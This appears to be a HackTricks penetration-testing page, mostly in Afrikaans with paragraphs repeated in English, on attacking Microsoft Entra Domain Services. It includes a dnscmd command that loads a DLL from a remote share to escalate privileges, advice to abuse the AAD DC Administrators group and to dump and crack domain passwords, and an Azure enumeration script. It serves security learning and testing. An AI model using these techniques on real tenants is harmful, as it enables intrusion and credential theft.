# Az - Microsoft Entra Domain Services

{{#include ../../../banners/hacktricks-training.md}}

## Domein Dienste

Microsoft Entra Domain Services maak dit moontlik om 'n Active Directory in Azure te ontplooi sonder om Domain Controllers te bestuur (egter het jy nie eers toegang daartoe nie).

Die hoofdoel is om jou toe te laat om verouderde toepassings in die cloud te laat loop wat nie moderne authenticasiemetodes kan gebruik nie, of waar jy nie wil hê dat directory lookups altyd terug na 'n on-premises AD DS-omgewing moet gaan nie.

Let wel dat om die gebruikers wat in Entra ID geskep is (en nie vanaf ander Active Directory's gesinkroniseer is nie) na die AD domain service te sinkroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet verander sodat dit met die nuwe AD gesinkroniseer kan word. Werklik, die gebruiker word nie vanaf Microsoft Entra ID na Domain Services gesinkroniseer totdat die wagwoord verander is nie.

> [!WARNING]
> Selfs as jy 'n nuwe Active Directory-domein skep, sal jy dit nie heeltemal kan bestuur nie (tensy jy sekere misconfigurasies uitbuit), wat beteken dat jy by verstek byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers vanaf Entra ID te sinkroniseer.** Jy kan aandui om alle gebruikers te sinkroniseer (selfs dié wat vanaf ander on-premise AD's gesinkroniseer is), slegs cloud-gebruikers (gebruikers in Entra ID geskep), of selfs **meer te filter**.

> [!NOTE]
> Oor die algemeen, as gevolg van die gebrek aan buigsaamheid in die konfigurasie van die nuwe domein en die feit dat AD's gewoonlik reeds on-premise is, is dit nie die hoofintegrasie tussen Entra ID en AD nie, maar dit is steeds interessant om te weet hoe om dit te kompromitteer.

### Pivoting

Lede van die gegenereerde **`AAD DC Administrators`** groep kry plaaslike admin-regte op VMs wat by die bestuurde domein aangesluit is (maar nie op die domain controllers nie) omdat hulle by die plaaslike administrators-groep gevoeg word. Lede van hierdie groep kan ook **Remote Desktop gebruik om op afstand met domain-joined VMs te skakel**, en is ook lede van die groepe:

- **`Denied RODC Password Replication Group`**: Hierdie groep spesifiseer gebruikers en groepe wie se wagwoorde nie op RODC's (Read-Only Domain Controllers) gekas kan word nie.
- **`Group Policy Creators Owners`**: Hierdie groep maak dit vir lede moontlik om Group Policies in die domein te skep. Hulle kan egter nie groepsbeleid op gebruikers of groepe toepas of bestaande GPOs wysig nie, dus is dit nie so interessant in hierdie omgewing nie.
- **`DnsAdmins`**: Hierdie groep laat toe om die DNS-instellings te bestuur en is in die verlede misbruik om [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), maar na die toets van die aanval in hierdie omgewing is dit nagegaan dat die kwesbaarheid gepatch is:
```text
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5
```
Note that to grant these permissions, inside the AD, the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.

Let wel dat om hierdie toestemmings te verleen, binne die AD, die groep **`AAD DC Administrators`** 'n lid gemaak word van die vorige groepe, en dat die GPO **`AADDC Computers GPO`** ook al die lede van die domeingroep **`AAD DC Administrators`** as Local Administrators toevoeg.

Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**

Pivoting from Entra ID na 'n AD geskep met Domain Services is reguit vorentoe: voeg net 'n gebruiker by die groep **`AAD DC Administrators`**, kry toegang via RDP tot enige/alle masjiene in die domein en jy sal data kan steel en ook die **compromise the domain.**

However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.

Egter is pivoting van die domein na Entra ID nie so maklik nie, aangesien niks van die domein na Entra ID gesinkroniseer word nie. Kyk egter altyd na die metadata van alle VMs wat aangesluit is, aangesien hul toegewezen managed identities moontlik interessante permissies het. Ook, **dump all the users passwords from the domain** en probeer om hulle te crack sodat jy daarna in Entra ID / Azure kan login.

> [!NOTE]
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
>
> Let wel dat in die verlede ander kwesbaarhede in hierdie managed AD gevind is wat toegelaat het om die DCs te kompromitteer, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n Aanvaller wat die DC kompromitteer, kon baie maklik maintain persistence sonder dat die Azure admins dit opmerk of selfs in staat is om dit te verwyder.

### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
```
{{#include ../../../banners/hacktricks-training.md}}
